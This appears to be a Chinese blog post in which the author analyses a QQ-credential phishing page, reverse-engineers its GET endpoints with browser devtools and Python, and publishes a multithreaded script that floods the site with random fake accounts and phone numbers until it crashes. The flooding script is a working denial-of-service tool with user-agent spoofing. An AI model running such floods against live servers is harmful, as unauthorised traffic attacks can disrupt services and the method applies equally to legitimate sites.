起因

几天前,我收到了一封钓鱼邮件,发件人为"arlgabrailli" <arlgabrailli@yahoo.com>,内容如下

其中,校办.txt的内容为学籍信息复制链接到浏览器 http://kkyut.icu/dingding

这链接一眼假,真要看学籍的话,一般都是学信网好吧,连高仿域名都没弄,钓鱼都不走心(

但这仅仅适用于上网经验丰富的人,我估计还是有一些小白,真的填了真实信息。

如果填了真实信息,还是火速改密码去吧(悲

出于好奇心和研究目的,我还是点进去了。

探索

钓鱼流程

它的界面如下

谁查学籍要用qq号啊,简直了。

但我点击输入账号后,更离谱的一幕出现了

它仿了个ios的输入法,专门骗ios用户是吧(

但很可惜,我不用ios,且我是再电脑浏览器上打开的,离谱。

我随便输入了一串账号和密码,并点击登录,果然,进入了下一步

我随便输入了一串手机号,但它竟然还有格式验证!

随便找了个手机号生成器,生成了个手机号并输入(竟然不能cv和键盘输入,只能在它的虚拟键盘上点),点击确定,进入了下一个界面

如果你输入了真的账号密码手机号,这里它的后台应该就已经在尝试盗号了。

接下来,我们就要祭出f12大法来一探究竟了。

代码分析

回到最初开始的地方,并找到点击登录的函数调用

可以看到,当我们点击登录后,它会调用xiayibu()这个函数

搜索并找到函数xiayibu()

好家伙,原来是直接用get方法,通过参数传递来向后台发送请求并添加数据。

之后,返回code和一个id。如果code等于1,就跳转到id所对应的界面。

接下来使用python进行验证

import requests

r = requests.get('http://kkyut.icu/status.php?action=add&u=+86-114514&p=1919810')

print(r.content.decode())

果然,程序打印了网站返回的结果

{"code":1,"id":"49221"}

接下来,我们在网页手动输入账号密码后,进入电话号码输入界面,如法炮制,找到函数调用和函数内容

还是和之前的一样,直接用get方法,通过参数传递来向后台发送请求并添加数据。之前的手机号格式验证也找到对应的正则了。

仍然是python验证

import requests

r = requests.get('http://kkyut.icu/status.php?action=queren&id=49221&u=+86-19973094425')

print(r.content.decode())

我这里的电话是随机生成的,如果刚好和某人的电话撞上了,那属实巧合(

网站返回结果如下

{"code":200}

至此,整个流程结束。

关于返回id的问题,个人推测为已经记录的账号的数量,顺序增加。

开始爆破!

原理分析完毕,接下来就是正式代码的编写

import requests
import random
import string
import json
import threading
import fake_useragent

url = 'http://kkyut.icu'


def generate_random_passwd(randomlength):
    random_str = ''
    base_str = string.ascii_letters + string.digits
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str


def generate_random_tel(randomlength=11):
    random_str = '1'
    base_str = '3456789'
    base_str2 = string.digits
    random_str += base_str[random.randint(0, len(base_str) - 1)]
    length = len(base_str2) - 1
    for i in range(randomlength - 2):
        random_str += base_str2[random.randint(0, length)]
    return random_str


def run(id: int):
    while True:
        try:
            ua = fake_useragent.FakeUserAgent().random
            # 随机UA
            header = {"User-Agent": ua}
            tel = generate_random_tel()
            passwd = generate_random_passwd(random.randint(8, 64))

            requesturl = f"{url}/status.php?action=add&u=+86-{tel}&p={passwd}"

            r = requests.get(url=requesturl, headers=header)

            result = r.content.decode('gbk')
            # 垃圾服务器,单台机器128线程就有点扛不住了
            # 服务器跑win server,iis 7
            # 如果报错,返回的信息编码是gbk,带有中文
            # 如果正常返回,返回是json数据,不包含中文
            # 所以这里还必须用gbk,淦,垃圾
            if len(result) > 0 and result[0] == '{':
                result = json.loads(result)
                amount = result['id']

                if result["code"] == 1:
                    requesturl = f"{url}/status.php?action=queren&id={result['id']}&u=+86-{tel}"
                    r = requests.get(url=requesturl, headers=header)

                    result = r.content.decode('gbk')
                    # 用gbk的理由见上
                    if len(result) > 0 and result[0] == '{':
                        result = json.loads(result)
                        if result["code"] == 200:
                            print(amount)
                            if int(amount) % 10000 == 0:
                                with open('./log.log', 'a', encoding='utf-8') as f:
                                    f.write(amount)
                                    f.write('\n')

        except Exception as e:
            print(f"thread {id} {e}")


if __name__ == '__main__':
    thread = 100 
    # 线程数量
    for i in range(thread):
        t = threading.Thread(target=run, args=(i,))
        t.start()
        if i == thread - 1:
            t.join()

简要来说,整个代码的作用就是随机生成账号和密码,并往钓鱼网站里塞,且采用多线程(

每塞10000条垃圾,就记录一下,写入到日志中。

后记

塞了一晚的垃圾后,一共塞入40万条,然后钓鱼网站挂了,好似(

但过去一个白天后,我再次打开这个钓鱼网站,它又好了,返回的id也重置了,估计是骗子发现之后重装了系统。

但我试了一下,还是一样的流程,没有任何改变。

不说了,继续塞垃圾去了(